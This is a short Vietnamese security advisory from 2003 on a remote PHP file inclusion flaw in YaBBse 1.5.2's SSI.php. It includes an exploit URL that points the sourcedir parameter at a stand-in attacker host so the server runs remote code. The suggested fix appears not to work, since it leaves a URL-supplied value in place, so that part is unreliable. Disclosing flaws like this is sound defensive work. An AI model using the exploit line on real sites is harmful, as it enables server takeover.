HCE-Loi YaBBse

Lỗi bảo mật của YaBBse 1.5.2

trang này đã được đọc lần

Advisory name: Thi hành lệnh từ xa trong YaBBse 1.5.2 (php version)
Application: Yet another Bulletin Board 1.5.2
Vendor: www.yabbse.org
Date: 06.05.2003
Impact: Attacker có thể sử dụng code php tùy tiện

Vấn đề:
Tên file là SSI.php.
Lỗi này tương tự như version YaBB 1.5.1.

SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');
------------------------------------------

Ta có thể xác định biến $sourcedir thông qua URL và include vài PHP script local hay
remote nếu remote inclusion có hiệu lực trong file php.ini.
Bug này không khai thác được nếu registar_globals được set sang OFF.


Khai thác:
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com

Attacker có thể thay file Errors.php lên server.


Giải pháp:
Thêm dòng này trước dòng include_once() mà ta đề cập ở trên.

if (!isset($sourcedir)) $sourcedir = "";


Ta cũng nên chú ý đến dòng này
------------------------------------------
(Line #031) $full_yabbse_path = '.';
(Line #048) include_once ($full_yabbse_path . '/Settings.php');
------------------------------------------

và trong Settings.php:
------------------------------------------
(Line #067) $sourcedir = "/home/something/board/Sources";
------------------------------------------

vì thế trước khi Errors.php được include, $sourcedir thì *luôn luôn* set sang một
giá trị, ghi đè lên bất kỳ biến nào mà đi qua URL.